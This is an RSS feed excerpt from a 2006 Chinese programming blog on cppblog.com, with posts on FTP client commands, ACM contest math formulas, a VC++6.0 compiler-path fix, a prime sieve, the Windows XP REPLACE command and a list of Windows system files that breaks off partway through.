		<font size="2">FTP命令是Internet用户使用最频繁的命令之一，熟悉并灵活应用FTP的内部命令，可以大大方便使用者，并收到事半功倍之效。<br />如果你想学习使用进行后台FTP下载，那么就必须学习FTP指令。<br />FTP的命令行格式为： ftp -v -d -i -n -g [主机名] ，<br />其中 -v 显示远程服务器的所有响应信息；<br />-n 限制ftp的自动登录，即不使用；.n etrc文件；<br />-d 使用调试方式；<br />-g 取消全局文件名。<br />FTP使用的内部命令如下(中括号表示可选项):<br />1.![cmd[args&gt;：在本地机中执行交互shell，exit回到ftp环境，如：!ls*.zip<br />2.$ macro-ame[args]： 执行宏定义macro-name。<br />3.account[password]： 提供登录远程系统成功后访问系统资源所需的补充口令。<br />4.append local-file[remote-file]：将本地文件追加到远程系统主机，若未指定远程系统文件名，则使用本地文件名。<br />5.ascii：使用ascii类型传输方式。<br />6.bell：每个命令执行完毕后计算机响铃一次。<br />7.bin：使用二进制文件传输方式。<br />8.bye：退出ftp会话过程。<br />9.case：在使用mget时，将远程主机文件名中的大写转为小写字母。<br />10.cd remote-dir：进入远程主机目录。<br />11.cdup：进入远程主机目录的父目录。<br />12.chmod mode file-name：将远程主机文件file-name的存取方式设置为mode，如：chmod 777 a.out。<br />13.close：中断与远程服务器的ftp会话(与open对应)。<br />14.cr：使用asscii方式传输文件时，将回车换行转换为回行。<br />15.delete remote-file：删除远程主机文件。<br />16.debug[debug-value]：设置调试方式， 显示发送至远程主机的每条命令，如：deb up 3，若设为0，表示取消debug。<br />17.dir[remote-dir][local-file]：显示远程主机目录，并将结果存入本地文件<br />18.disconnection：同close。<br />19.form format：将文件传输方式设置为format，缺省为file方式。<br />20.get remote-file[local-file]： 将远程主机的文件remote-file传至本地硬盘的local-file。<br />21.glob：设置mdelete，mget，mput的文件名扩展，缺省时不扩展文件名，同命令行的-g参数。<br />22.hash：每传输1024字节，显示一个hash符号(#)。<br />23.help[cmd]：显示ftp内部命令cmd的帮助信息，如：help get。<br />24.idle[seconds]：将远程服务器的休眠计时器设为[seconds]秒。<br />25.image：设置二进制传输方式(同binary)。<br />26.lcd[dir]：将本地工作目录切换至dir。<br />27.ls[remote-dir][local-file]：显示远程目录remote-dir， 并存入本地文件local-file。<br />28.macdef macro-name：定义一个宏，遇到macdef下的空行时，宏定义结束。<br />29.mdelete[remote-file]：删除远程主机文件。<br />30.mdir remote-files local-file：与dir类似，但可指定多个远程文件，如 ：mdir *.o.*.zipoutfile 。<br />31.mget remote-files：传输多个远程文件。<br />32.mkdir dir-name：在远程主机中建一目录。<br />33.mls remote-file local-file：同nlist，但可指定多个文件名。<br />34.mode[modename]：将文件传输方式设置为modename， 缺省为stream方式。<br />35.modtime file-name：显示远程主机文件的最后修改时间。<br />36.mput local-file：将多个文件传输至远程主机。<br />37.newer file-name： 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近，则重传该文件。<br />38.nlist[remote-dir][local-file]：显示远程主机目录的文件清单，并存入本地硬盘的local-file。<br />39.nmap[inpattern outpattern]：设置文件名映射机制， 使得文件传输时，文件中的某些字符相互转换， 如：nmap $1.$2.$3[$1，$2].[$2，$3]，则传输文件a1.a2.a3时，文件名变为a1，a2。 该命令特别适用于远程主机为非UNIX机的情况。<br />40.ntrans[inchars[outchars&gt;：设置文件名字符的翻译机制，如ntrans1R，则文件名LLL将变为RRR。<br />41.open host[port]：建立指定ftp服务器连接，可指定连接端口。<br />42.passive：进入被动传输方式。<br />43.prompt：设置多个文件传输时的交互提示。<br />44.proxy ftp-cmd：在次要控制连接中，执行一条ftp命令， 该命令允许连接两个ftp服务器，以在两个服务器间传输文件。第一条ftp命令必须为open，以首先建立两个服务器间的连接。<br />45.put local-file[remote-file]：将本地文件local-file传送至远程主机。<br />46.pwd：显示远程主机的当前工作目录。<br />47.quit：同bye，退出ftp会话。<br />48.quote arg1，arg2...：将参数逐字发至远程ftp服务器，如：quote syst.<br />49.recv remote-file[local-file]：同get。<br />50.reget remote-file[local-file]：类似于get， 但若local-file存在，则从上次传输中断处续传。<br />51.rhelp[cmd-name]：请求获得远程主机的帮助。<br />52.rstatus[file-name]：若未指定文件名，则显示远程主机的状态， 否则显示文件状态。<br />53.rename[from][to]：更改远程主机文件名。<br />54.reset：清除回答队列。<br />55.restart marker：从指定的标志marker处，重新开始get或put，如：restart 130。<br />56.rmdir dir-name：删除远程主机目录。<br />57.runique：设置文件名只一性存储，若文件存在，则在原文件后加后缀.1， .2等。<br />58.send local-file[remote-file]：同put。<br />59.sendport：设置PORT命令的使用。<br />60.site arg1，arg2...：将参数作为SITE命令逐字发送至远程ftp主机。<br />61.size file-name：显示远程主机文件大小，如：site idle 7200。<br />62.status：显示当前ftp状态。<br />63.struct[struct-name]：将文件传输结构设置为struct-name， 缺省时使用stream结构。<br />64.sunique：将远程主机文件名存储设置为只一(与runique对应)。<br />65.system：显示远程主机的操作系统类型。<br />66.tenex：将文件传输类型设置为TENEX机的所需的类型。<br />67.tick：设置传输时的字节计数器。<br />68.trace：设置包跟踪。<br />69.type[type-name]：设置文件传输类型为type-name，缺省为ascii，如:type binary，设置二进制传输方式。<br />70.umask[newmask]：将远程服务器的缺省umask设置为newmask，如：umask 3<br />71.user user-name[password][account]：向远程主机表明自己的身份，需要口令时，必须输入口令，如：user anonymous </font>
		<a href="mailto:my@email">
				<font size="2">my@email</font>
		</a>
		<font size="2">。<br />72.verbose：同命令行的-v参数，即设置详尽报告方式，ftp 服务器的所有响 应都将显示给用户，缺省为on.<br />73.?[cmd]：同help.</font>
<img src ="http://www.cppblog.com/asp/aggbug/13920.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/asp/" target="_blank">Asp</a> 2006-10-20 20:48 <a href="http://www.cppblog.com/asp/archive/2006/10/20/13920.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ACM会用到的一点数学知识</title><link>http://www.cppblog.com/asp/archive/2006/10/14/13665.html</link><dc:creator>Asp</dc:creator><author>Asp</author><pubDate>Sat, 14 Oct 2006 03:24:00 GMT</pubDate><guid>http://www.cppblog.com/asp/archive/2006/10/14/13665.html</guid><wfw:comment>http://www.cppblog.com/asp/comments/13665.html</wfw:comment><comments>http://www.cppblog.com/asp/archive/2006/10/14/13665.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cppblog.com/asp/comments/commentRss/13665.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/asp/services/trackbacks/13665.html</trackback:ping><description><![CDATA[1.费马小定理：a^p mod p=a (p为素数，且a不是p的倍数)<br /><br />2.数n的约数个数：<br />n分解因数为p1^s1*p2^s2*……pm^sm<br />则约数个数为(s1+1)*(s2+1)*……*(sm+1)<br /><br />3.Fibonacci数通项公式：Fn=round((1+√5)/2)^n/√5<br /><br />4.Catalan数通项公式：Cn=C(2n-2,n-1)/n<br />递归式：Cn=∑Ci*C(n-i) (i=1..n-1,C1=C2=1)<br /><br />5.第二类Stirling数：S(n,k)表示n个元素的集合拆分成k部分的数<br />S(n,k)=S(n-1,k-1)+k*S(n-1,k)<br /><br />6.整数分拆：P(n,k)-整数n分成k部分的数<br />P(n,k)=P(n-1,k-1)+P(n-k,k)<br /><br />7.方程x1+x2+……+xk=n (xi&gt;=0)的解的个数：C(n+k-1,k-1)<br />方程x1+x2+……+xk=n (xi&gt;0)的解的个数：C(n-1,k-1)<br /><img src ="http://www.cppblog.com/asp/aggbug/13665.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/asp/" target="_blank">Asp</a> 2006-10-14 11:24 <a href="http://www.cppblog.com/asp/archive/2006/10/14/13665.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Compiling... ,Error spawning cl.exe</title><link>http://www.cppblog.com/asp/archive/2006/10/08/13465.html</link><dc:creator>Asp</dc:creator><author>Asp</author><pubDate>Sun, 08 Oct 2006 12:09:00 GMT</pubDate><guid>http://www.cppblog.com/asp/archive/2006/10/08/13465.html</guid><wfw:comment>http://www.cppblog.com/asp/comments/13465.html</wfw:comment><comments>http://www.cppblog.com/asp/archive/2006/10/08/13465.html#Feedback</comments><slash:comments>10</slash:comments><wfw:commentRss>http://www.cppblog.com/asp/comments/commentRss/13465.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/asp/services/trackbacks/13465.html</trackback:ping><description><![CDATA[
		<font size="2">    今天同学装了MS VC++6.0后，编译程序却出现了这个提示：Compiling... ,Error spawning cl.exe，重装都没有用，好郁闷……之后正准备换本碟重新装的时候，我们在VC的工具-〉选项-〉目录里面发现了一样东西，里面的Include Files，Executable Files，Library Files和Source Files下面的目录全部都不对，我们是把VC++装到"D:\Program Files\Microsoft Visual Studio\VC98"下面，但是里面写的全是"C:\Program Files\Microsoft Visual Studio\VC98"，于是立马改过来，再试，OK，居然就可以编译了……嘿嘿……<br />    后来在网上找才知道，cl.exe是VC++真正的编译程序，目录错了就找不到这个程序了，所以就出错了，汗死了，不过也算是有点收获……</font>
<img src ="http://www.cppblog.com/asp/aggbug/13465.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/asp/" target="_blank">Asp</a> 2006-10-08 20:09 <a href="http://www.cppblog.com/asp/archive/2006/10/08/13465.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>100000以内的质数表</title><link>http://www.cppblog.com/asp/archive/2006/10/06/13400.html</link><dc:creator>Asp</dc:creator><author>Asp</author><pubDate>Fri, 06 Oct 2006 14:50:00 GMT</pubDate><guid>http://www.cppblog.com/asp/archive/2006/10/06/13400.html</guid><wfw:comment>http://www.cppblog.com/asp/comments/13400.html</wfw:comment><comments>http://www.cppblog.com/asp/archive/2006/10/06/13400.html#Feedback</comments><slash:comments>18</slash:comments><wfw:commentRss>http://www.cppblog.com/asp/comments/commentRss/13400.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/asp/services/trackbacks/13400.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 最近在PKU上面做题，发现好多题目都用到了质数表，于是干脆把100000以内的质数表和生成质数的程序贴上来好了，大家也好抄，直接用~~~   嘿嘿……Program:#include &lt;fstream.h&gt;#define N  100000int sieve[N + 1];void main(){ for(int i = 2; i &lt;= N; i++) sieve[i] = 1;...&nbsp;&nbsp;<a href='http://www.cppblog.com/asp/archive/2006/10/06/13400.html'>阅读全文</a><img src ="http://www.cppblog.com/asp/aggbug/13400.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/asp/" target="_blank">Asp</a> 2006-10-06 22:50 <a href="http://www.cppblog.com/asp/archive/2006/10/06/13400.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>XP一个很无敌的命令</title><link>http://www.cppblog.com/asp/archive/2006/10/01/13204.html</link><dc:creator>Asp</dc:creator><author>Asp</author><pubDate>Sun, 01 Oct 2006 10:26:00 GMT</pubDate><guid>http://www.cppblog.com/asp/archive/2006/10/01/13204.html</guid><wfw:comment>http://www.cppblog.com/asp/comments/13204.html</wfw:comment><comments>http://www.cppblog.com/asp/archive/2006/10/01/13204.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/asp/comments/commentRss/13204.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/asp/services/trackbacks/13204.html</trackback:ping><description><![CDATA[    XP有一个很无敌的命令，用来替换文件的replace，连正在使用的文件也能替换。非常无敌。 比如：在C：下建一个目录，c：aaa ，然后复制一首mp3到c:aaa并命名为c:aaaa.mp3 ，然后再复制另一首歌到C:a.mp3 ，然后用media player 播放c:aaaa.mp3 ，在命令提示符下输入：replace c:a.mp3 c:aaa ，过一会，是不是播放的歌已变为另一首。 
<p>用这个命令来替换系统文件真是太爽了，并且XP的系统文件保护也对它无效。 再也不用到安全模式下去替换文件了 </p><p>格式 </p><p>REPLACE [drive1:][path1]filename [drive2:][path2] [/A] [/P] [/R] [/W] </p><p>REPLACE [drive1:][path1]filename [drive2:][path2] [/P] [/R] [/S] [/W] </p><p>[drive1:][path1]filename 指定源文件。 </p><p>[drive2:][path2] 指定要替换文件的 </p><p>目录</p><p>/A 把新文件加入目标目录。不能和/S 或 /U 命令行开关搭配使用。 /P 替换文件或加入源文件之前会先提示您进行确认。 /R 替换只读文件以及未受保护的文件。 /S 替换目标目录中所有子目录的文件。 不能与 /A 命令选项搭配使用。 </p><p>/W 等您插入磁盘以后再运行。 </p><p>/U 只会替换或更新比源文件日期早的文件。 不能与 /A 命令行开关搭配使用。</p><img src ="http://www.cppblog.com/asp/aggbug/13204.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/asp/" target="_blank">Asp</a> 2006-10-01 18:26 <a href="http://www.cppblog.com/asp/archive/2006/10/01/13204.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>WINDOWS系统文件详解</title><link>http://www.cppblog.com/asp/archive/2006/10/01/13203.html</link><dc:creator>Asp</dc:creator><author>Asp</author><pubDate>Sun, 01 Oct 2006 10:25:00 GMT</pubDate><guid>http://www.cppblog.com/asp/archive/2006/10/01/13203.html</guid><wfw:comment>http://www.cppblog.com/asp/comments/13203.html</wfw:comment><comments>http://www.cppblog.com/asp/archive/2006/10/01/13203.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/asp/comments/commentRss/13203.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/asp/services/trackbacks/13203.html</trackback:ping><description><![CDATA[某个牛人做的WINDOWS系统文件详解，很详细的介绍了WINDOWS系统文件的用途,我想各位保存一份以后说不定会有用吧.....  嘿嘿......<br /><br />A　↑ <br />ACCESS.CHM - Windows帮助文件 <br />ACCSTAT.EXE - 辅助状态指示器 <br />ADVAPI32.DLL - 高级Win32应用程序接口 <br />AHA154X.MPD - SCSI驱动程序 <br />AM1500T.VXT - 网卡驱动程序 <br />AM2100.DOS - 网卡驱动程序 <br />APPSTART.ANI - 动画光标 <br />APPS.HLP - Windows帮助文件 <br />AUDIOCDC.HLP - "易码编码解码器"帮助文件 <br />AWARDPR32.EXE - 增加打印机工具 <br />B　↑ <br />BIGMEM.DRV - BIGMEM虚拟设备 <br />BILLADD.DLL - 动态链接库(支持MSW) <br />BIOS.VXD - 即插即用BIOS接口 <br />BUSLOGIC.MPD - SCSI驱动程序 <br />C　↑ <br />CALC.EXE - 计算器应用程序 <br />CANNON800.DRV - 佳能打印机驱动程序 <br />CHOICE.COM - MSDOS命令 <br />CHS16.FON - 字体文件(16点阵中文) <br />CANYON.MID - MIDI文件例子 <br />CARDDRV.EXE - PCMCIA支持程序 <br />CDFS.VXD - CDROM文件系统 <br />CDPLAYER.EXE - CD播放器应用程序 <br />CDPLAYER.HLP - CD播放器帮助文件 <br />CHIPS.DRV - 芯片技术显示驱动程序 <br />CHKDSK.EXE - DOS磁盘检查工具 <br />CHOOSUSR.DLL - 网络客户 <br />CHOKD.WAV - 声音文件例子 <br />CIS.SCP - 脚本文件(演示如何建立与Compuserve的PPP连接) <br />CLAIRE~1.RMI - MINI序列 <br />CLIP.INF - 安装信息文件(剪粘板查看器) <br />CLOSEWIN.AVI - 影片剪辑(AVI)(如何关闭窗口) <br />CMC.DLL:Mail - API1.0公共信息调用 <br />COMBUFF.VXD - COM端虚拟设备 <br />COMCTL32.DLL - 32位Shell组件 <br />COMDLG32.DLL - 32位公共对话库 <br />COMIC.TIF - TrueType字体文件(Comic Sans Ms) <br />COMMAND.COM - 公共对话库 <br />COMMDLG.DLL - 16位公共对话库 <br />COMMON.HLP - OLE帮助文件 <br />COMPOBJ.DLL - OLE16/32互*作库 <br />CONAGEN.EXE - 32位控制支持 <br />CONFAPI.DLL - Microsoft网络组件 <br />CONFIG.SYS - 配置文件 <br />CONFIG.TXT - 自述文件(配置文件中如何使用命令) <br />CONTROL.EXE - "控制面板"应用程序 <br />COOL.DLL - 统一资源定位文件 <br />COPY.INF - 安装信息文件 <br />CP-1250.NLS - 自然语言支持文件 <br />CPQNDIS.DOS - 网卡驱动程序 <br />CPQNDIS3.VXD - Compaq以太控制器NDIS驱动程序 <br />CR3240.EXE - DOS6.22中文版CR3240打印机驱动程序 <br />CRTDLL.DLL - Microsoft C运行时间库 <br />CSETUP.EXE - MSDOS6.22中文设置程序 <br />CSETUP.WIN - CSetup.exe支持文件 <br />CSMAPPER.SYS - 系统文件(支持PCMCIA) <br />CSPMAN.DLL - 动态链接库(SoundBlaster 16 Driver) <br />CTRLPAN.EXE - MSDOS命令(系统控制台程序) <br />CTRLPAN.EXE - MSDOS6.22中文版控制程序 <br /><br />D　↑ <br />DBLBVFF.SYS - 双缓冲驱动程序 <br />DC21X4.SYS - NDIS3驱动程序 <br />DCIMAN.DLL - 显示控制接口 <br />DCIMAN32.DLL - 显示控制接口 <br />DDEML.DLL - DDE信息库 <br />DEBMP.DLL - 光栅显示设备 <br />DEBUG.EXE - Debug调试工具 <br />DECPSMW4.INF - 安装信息文件(DEC打印机安装) <br />DECLAN.VXD - DECLAN网卡驱动程序 <br />DEFRAG - 打开"选定驱动器"窗口 <br />DEL.INF - 安装信息文件 <br />DELTEMP.COM - 初始化帮助工具 <br />DELTREE.EXE - 删除目录工具 <br />DEMET.DLL - 向量显示工程 <br />DESKCP16.DLL - 16位桌面控制面板 <br />DESKTOP.MSN - Microsoft网络组件 <br />DESS.DLL - 表格显示工程 <br />DEWP.DLL - 字处理显示工程 <br />DIALER.CNT - 对话帮助 <br />DIALER.EXE - 电话拨号程序 <br />DIALER.HLP - 电话拨号帮助文件 <br />DIALMON.EXE - 拨号监视程序(IE2.0) <br />DIBENG.DLL - 独立设备的位同工程 <br />DICONIX.DRX - 打印机驱动 <br />DIRECTCC.EXE - 直接线缆连接应用程序 <br />DISKCOMP - 磁盘比较工具 <br />DISKCOPY.COM - 磁盘拷贝工具 <br />DISKDRV.INF - 安装信息 <br />DISPLAY.TXT - 显示卡README文件 <br />DMCOLOR.DLL - 通用打印驱动程序彩打支持库 <br />DOSKEY.COM - DOS命令 <br />DOSX.EXE - MSDOS配置程序 <br />DRAGDROP.AVI - 影片剪辑(AVI)(如何使用拖拽) <br />DRIVER.SYS - DOS驱动程序 <br />DRVSPACE.EXE - 磁盘压缩工具 <br />DRVSPACE.HLP - 磁盘空间管理帮助文件 <br /><br />E　↑ <br />EDIT.COM - DOS文字编辑程序 <br />EDLIN.EXE - DOS行编辑器 <br />EE16.VXD - 虚拟设备驱动程序 <br />EISA.VXD - 即插即用EISA总线计数器 <br />EK550C.ICM - 打印机简介 <br />EMM386.EXE - 扩展内存管理程序 <br />ENABLE.INF - 初始化信息 <br />ENGCT.EXE - MSN支持文件 <br />ESCP24SC.DRV - 设备驱动程序 <br />EUDCEDIT.CNF - 帮助索引文件(造字程序) <br />EUDCEDIT.EXE - 造字程序 <br />EUDCEDIT.HLP - 帮助文件(造字程序) <br />EUDCEDIT.INF - 安装信息文件(造字程序) <br />EVX16.DOS - 网卡驱动程序 <br />EWRK3.DOS - 网卡驱动程序 <br />EWRK3.SYS - 网卡驱动程序 <br />EXCEL.XLS - Excel5.0文件模板 <br />EXCEL4.XLS - Excel4.0文件模板 <br />EXCHANGE.TXT - Inbox和Exchange的自述文件 <br />EXCHNG.CNT - Mail/Exchange帮助文件内容 <br />EXCHNG.HLP - Mail/Exchange组件 <br />EXCHNG32.EXE - 对用户的交换机作初始设置 <br />EXPLORER.AVI - 影片剪辑(AVI)(如何使用资源管理器) <br />EXPLORER.EXE - "资源管理器"应用程序 <br />EXPO.HLP - 帮助文件(产品信息) <br />EXPOSTRT.EXE - 产品信息应用程序 <br />EXTRACT.EXE - 解压缩工具 <br />EXTRA.TXT - 自述文件(联机访问附加文件) <br /><br />F　↑ <br />FAQ.TXT - 疑难解答自述文件 <br />FAXCODEC.DLL - 传真编码/译码器 <br />FAXCOVER.EXE - 封面编辑器 <br />FC.EXE - DOS命令,比较两个文件 <br />FD16-700.MPD - SCSI驱动程序 <br />FD8XX.MPD - SCSI驱动程序 <br />FDISK.EXE - DOS命令,在硬盘上建立、删除及显示当前分区 <br />FILESEC.VXD - 文件存取控制管理器 <br />FILEXFER.CNT - 文件传输帮助文件内容 <br />FILEXFER.EXE - Microsoft文件传输 <br />FIND.AVI - 影片剪辑(如何使用查找) <br />FIND.EXE - 寻找指定字符串命令 <br />FINDMVI.DLL - 媒体视觉支持 <br />FINSTALL.DLL - 字库安装程序 <br />FINSTALL.HLP - 字库安装帮助文件 <br />FLSIMTD.VXD - PCMCIA支持 <br />FLSIMTD.VXD - PCMCIA支持 <br />FONT16.EXE - DOS6.22中文版16点阵字体驱动程序 <br />FONTS.INF - 字体选择初始化信息 <br />FONTVIEW.EXE - 字体浏览程序 <br />FORMAT.COM - DOS磁盘格式化工具 <br />FOUTLINE.EXE - 轮廓字体驱动程序 <br />FRAMEBUF.DRV - SVGA显示器驱动程序 <br />FTE.DLL - 声音浏览文件传输工程文件 <br />FTP.EXE - 文件传输协议TCP工具 <br />FURELI~1.RMI - MINI序列 <br />G　↑ <br />GBK.TXT - 中文Windows95GBK代码集字符定义表 <br />GDI.EXE - 简版WIN3.1图形界面 <br />GDI32.DLL - 32位GDI图形界面 <br />GENERAL.IDF - 一般MIDI指示器 <br />GRPCONV.EXE - Windows程序组转换器 <br />GUIDE.EXE - 应用程序(MSN) <br /><br />H　↑ <br />HARDWARE.TXT - 硬件自述文件 <br />HOSTS.SAM - TCP配置 <br />HPCLRLSK.ICM - 打印简介 <br />HPDESK.ICM - 打印机简介表 <br />HPDSKJET.DRV - 打印机驱动程序 <br />HPEISA.VXD - 网络适配器驱动程序 <br />HPJAHLP.CNT - JetAdmin程序帮助文件 <br />HPJD.DLL - HPJetAdmin支持程序 <br />HPLAN.DOS - 网络适配器驱动程序 <br />HPLJ300.DRV - HPLJ300DPI打印机驱动程序 <br />HPLJ300.EXE - MSDOS命令(HP打印机驱动) <br />HPLJ-31.SPD - 打印机驱动程序 <br />HPLJ600.DRV - HPLJ600DPI打印机驱动程序 <br />HPLJP-V4.INF - 打印机安装信息 <br />HPNETPRN.INF - HPJetAdmin支持程序 <br />HPPJXL31.SPD - 打印机驱动程序 <br />HPPLOT.DRV - 打印机驱动程序 <br />HPPLOT.HLP - 打印机驱动程序帮助文件 <br />HPPRARBK.DLL - HPJetAdmin支持程序 <br />HPPRARRK.HLP - HPJetAdmin支持程序帮助文件 <br />HPVCM.HPM - 打印机驱动程序 <br />HSFLOP.PDR - HSFLOP虚拟设备 <br />HTICONS.DLL - 终端设备动态链接库 <br />HYPERTRM.CNT - 终端设备帮助文件 <br />HYPERTRM.EXE - 终端设备应用程序 <br />HYPERTRM.HLP - "超级终端"帮助 <br />HZKBD.EXE - 常用输入方法程序 <br />HZVIO95.EXE - 显示驱动程序 <br />I　↑ <br />I82593.DOS - 网络适配器驱动程序 <br />IB401917.SPD - 打印机驱动程序 <br />IBM20470.SPD - 打印机驱动程序 <br />IBM20K.DOS - 网络适配器驱动程序 <br />ICM32.DLL - 图象颜色匹配程序 <br />ICMOI.DLL - 用户界面颜色匹配程序 <br />ICONLIB.DLL - 图符库 <br />IEXPLORE.CNT - 帮助索引文件(IE) <br />IEXPLORE.EXE - InternetExplore <br />IEXPLORE.HLP - 帮助文件(IE) <br />IFSHLP.SYS - 文件系统安装帮助文件 <br />IFSMGR.VXD - 文件系统安装管理程序 <br />IMAGEOIT.EXE - 图象编辑器光标程序 <br />IMCLIENT.DLL - Microsoft网络组件 <br />IME.CNT - 帮助索引文件(中文输入法) <br />IME.HLP - Windows帮助文件 <br />IME.INF - 安装信息文件(中文输入法) <br />IMEGEN.CNF - 帮助索引文件(输入法生成器) <br />IMEGEN.EXE - 输入法生成器 <br />IMEGEN.HLP - 帮助文件(输入法生成器) <br />IMEINFO.INI - 输入法初始化文件 <br />IMM32.DLL - WIN32IMM应用程序界面 <br />INBOX.EXC - 邮件组件 <br />INDICDLL.DLL - 多语言组件 <br />INET.TXT - IE自述文件 <br />INET16.DLL - 动态链接库(支持IE2.0) <br />INETAB32.DLL - 动态链接库(支持Internet mail) <br />INETCFG.DLL - 动态链接库(支持IE2.0) <br />INETCPL.CPL - 控制面板文件(配置IE2.0) <br />INETMAIL.INF - 安装信息文件(Internet mail) <br />INETWIZ.EXE - Internet安装向导 <br />INformS.WPF - 样板文件 <br />INSTBE.BAT - Microsoft网络组件 <br />INSTDICT.EXE - MSDOS命令(输入法安装程序) <br />INTB.VXD - 13号中断虚拟设备 <br />INTL.CPL - 控制面板 <br />INT-MAIL.CNT - 帮助索引文件(Internet mail) <br />IOS.INI - 设置需要安全保护的程序 <br />IOSCLASS.DLL - CDROM安装程序 <br />IRMATR.DOS - 网络适配器驱动程序 <br />ISAPNP.VXD - ISA总线即插即用程序 <br />　↑ <br />JOY.CPL - 游戏杆控制面板 <br />JOYSTICK.INF - 多媒体安装信息 <br />JP350.DRV - 打印机驱动程序 <br />JUNGLE~1.WAV - 声音文件 <br /><br />K　↑ <br />KBDBE.KBD - 比利时键盘格式 <br />KBDBR.KBD - 巴西键盘格式 <br />KBDCA.KBD - 法国、加拿大键盘格式 <br />KBDOS.KBD - 美国键盘格式 <br />KDCOLOR1.SPD - 打印机驱动程序 <br />KERNEL32.DLL - 32位内核 <br />KEYB.COM - 将控制键盘程序装入内存 <br />KODAKCE.ICM - 柯达ICC配置文件 <br />KRNL386.EXE - Core应用程序 <br /><br />L　↑ <br />LABEL.EXE - DOS命令,设置磁盘名称 <br />LFNBK.EXE - 长文件名备份文件 <br />LFNBK.TXT - LFNBK的自述文件 <br />LICENSE.HLP - Windows帮助文件 <br />LMSCRIPT.EXE - LAN管理器文稿处理程序 <br />LOGIN.EXE - Win95登录NetWare文件 <br />LQ1600K.EXE - LQ1600K打印驱动程序 <br /><br />M　↑ <br />MAILMSG.DLL - 微软网络组件 <br />MAILOPT.INF - MAIL/MAPI设置文件 <br />MAPI.DLL - Mail/Exchange组件 <br />MCIAVI.DRV - 多媒体驱动程序 <br />MCICDA.DRV - MCICD声音驱动程序 <br />MCIOLE.DLL - MCIOLE句柄 <br />MCIPIONR.DRV - MCI光盘驱动程序 <br />MCISEQ.DRV - MCI定序器驱动程序 <br />MCIVISCA.DRV - MCIVCR驱动程序 <br />MCIWAVE.DRV - MCI Ware驱动程序 <br />MDMNOKIA.INF - 安装信息文件(modem) <br />MDMNOVA.INF - 安装信息文件(modem) <br />MDMVV.INF - 安装信息文件(modem) <br />MEMMAKER.EXE - 内存管理程序 <br />MEMMAKER.INF - 内存管理程序设置信息 <br />MFCUIA32.DLL - OLEI公共对话动态链接库 <br />MIDI.INF - 即插即用MIDI设备信息 <br />MINET32.DLL - 支持Internet Mail动态链接库 <br />MKECR5XX.MPD - SCSI驱动程序 <br />ML3XEC16.EXE - 应用程序(MAPI) <br />MLSHEXT.DLL - 微软核扩展库 <br />MMCI.DLL - 媒体类安装程序 <br />MMDEVLDR.VXD - 即插即用设备装载程序 <br />MMDRV.HLP - 多媒体帮助文件 <br />MMSOUND.DRV - 多媒体驱动程序 <br />MMSYSTEM.DLL - 多媒体系统内核 <br />MMTASK.TSK - 多媒体背景任务交换器 <br />MODE.COM - DOS命令 <br />MODERN.FON - 字体文件(modem) <br />MORE.COM - DOS命令 <br />MOUSE.DRV - 鼠标驱动程序 <br />MOVEWIN.AVI - 影片剪辑(如何移动窗口) <br />MPLAYER.EXE - 媒体播放程序 <br />MPR.DLL - WIN32网络接口动态链接库 <br />MSAB32.DLL - 微软网络地址簿 <br />MSBASE.INF - 设置信息 <br />MSCDEX.EXE - DOS MSCDEX CDROM扩展工具 <br />MSCDROM.INF - 类安装设置信息 <br />MSD.EXE - 微软诊断工具 <br />MSD.INI - 微软诊断初始化 <br />MSDET.INF - 系统检测设置信息 <br />MSDISP.INF - 显示设置信息 <br />MSDLG.EXE - 数据链接控制协议 <br />MSDOS.INF - 设置信息 <br />MSDOSDRV.TXT - 设备驱动程序自述文件 <br />MSFT.VRL - 统一资源定位文件 <br />MSGSRV32.EXE - Windows32位虚拟设备信息系统 <br />MSHDC.INF - 硬盘控制设置信息 <br />MSJSTICK.DRV - 即插即用游戏杆驱动程序 <br />MSMAIL.INF - Mail/MAPI初始化 <br />MSMOUSE.INF - 鼠标设置信息 <br />MSN.TXT - 微软网络自述文件 <br />MSNET32.DLL - 微软32位网络API库 <br />MSNEXCH.EXE - 微软网络设置程序 <br />MSNPSS.HLP - 微软网络帮助文件 <br />MSNVER.TXT - 微软网络帮助信息 <br />MSPAINT.EXE - 画图工具 <br />MSPCIC.DLL - PCMCIA类安装与控制工具 <br />MSPORTS.INF - 公共设置信息 <br />MSPP32.DLL - 微软网络打印支持程序 <br />MSPWL32.DLL - 口令清单管理库 <br />MSSBLST.DRV - 声霸卡驱动程序 <br />MSSBLSI.VXD - 声霸卡驱动程序 <br />MSSHRVI.DLL - 共享内核扩展程序 <br />MSSNDSYS.DRV - Windows声音系统驱动程序 <br />MSSP.VXP - Windows NT安全支持 <br />MSTCP.DLL - TCP用户界面 <br />MSVIEWUT.DLL - 显示设备服务数据链接库 <br />MTMMINIP.MPD - SCSI驱动程序 <br />MULLANG.INF - 多种语言字体支持设置信息 <br />MVIWAVE.DRV - 声音驱动程序 <br />N　↑ <br />NBTSTAT.EXE - TCP工具 <br />NDDEAPI.DLL - Workgroups DDE共享接口 <br />NDDENB.DLL - 微软网络DDE NetBIOS接口 <br />NDISHLP.SYS - 实模式NDIS支持驱动程序 <br />NET.EXE - 实模式网络客户软件 <br />NET.INF - 网络检测信息 <br />NET.MSG - 